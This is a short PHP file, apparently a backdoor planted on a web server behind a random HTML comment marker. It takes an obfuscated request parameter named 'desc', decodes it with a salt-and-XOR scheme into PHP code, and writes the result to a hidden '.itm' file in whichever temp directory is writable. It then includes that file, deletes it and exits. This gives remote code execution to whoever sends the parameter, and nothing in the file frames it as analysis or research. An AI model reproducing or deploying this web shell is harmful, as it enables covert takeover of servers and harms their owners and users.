 <!--cNBUu36t-->
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x64esc"])){
$holder = $_REQUEST["\x64esc"];
  $holder 		=   explode ("."		,  $holder) 	 ;
$k=	 '';
$salt=	 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen=	 strlen($salt);
$i=	 0;

array_walk($holder, function ($val) use (&$k, &$i, $salt, $sLen) {
    $sChar=	 ord($salt[$i % $sLen]);
    $d=	 ((int)$val - $sChar - ($i % 10)) ^ 50;
    $k .= chr($d);
    $i++;
});
$dat = array_filter(["/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm"]);
$symbol = 0;
do {
    $object = $dat[$symbol] ?? null;
    if ($symbol >= count(dat)) break;
            if ((function($d) { return is_dir($d) && is_writable($d); })($object)) {
            $ptr = "$object" . "/.itm";
            if (false !== file_put_contents($ptr, $k)) {
    include_once $ptr;
    @unlink($ptr);
    die();
}
        }
    $symbol++;
} while (true);
}